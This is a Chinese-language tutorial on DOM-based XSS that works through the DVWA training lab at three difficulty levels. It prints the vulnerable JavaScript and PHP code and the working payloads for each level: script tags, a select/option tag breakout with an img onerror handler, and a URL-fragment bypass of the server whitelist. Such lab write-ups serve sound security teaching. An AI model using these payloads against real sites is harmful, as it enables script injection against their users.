一、什么是xss dom
DOM型XSS是基于DOM文档对象模型的一种漏洞
通过 HTML DOM,树中的所有节点均可通过 JavaScript 进行访问。所有 HTML 元素(节点)均可被修改,也可以创建或删除节点。(引用W3C)
因为可以在DOM树中植入js代码,因此造成了XSS-DOM漏洞,所以DOM类型的XSS可能是反射型也可能是储存型。
二、DVWA实战
1、low难度
没有进行任何过滤,直接写入js代码就行
?default=<script>alert(/xss/)</script>
2、medium难度
看一下源代码
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
需要进行闭合 select 和 option 标签
?default=English</option></select><script>alert(/xss/)</script>
这样提交之后,发现并没有弹窗,那么可能是对 script 标签进行了过滤。
使用img标签
?default=English</option></select><img src=1 onerror=alert('WUQING')>
3、high难度
我们看一下后端PHP代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
#之后的字符,是不会被发送到服务器的。
?default=English#<script>alert(/xss/)</script>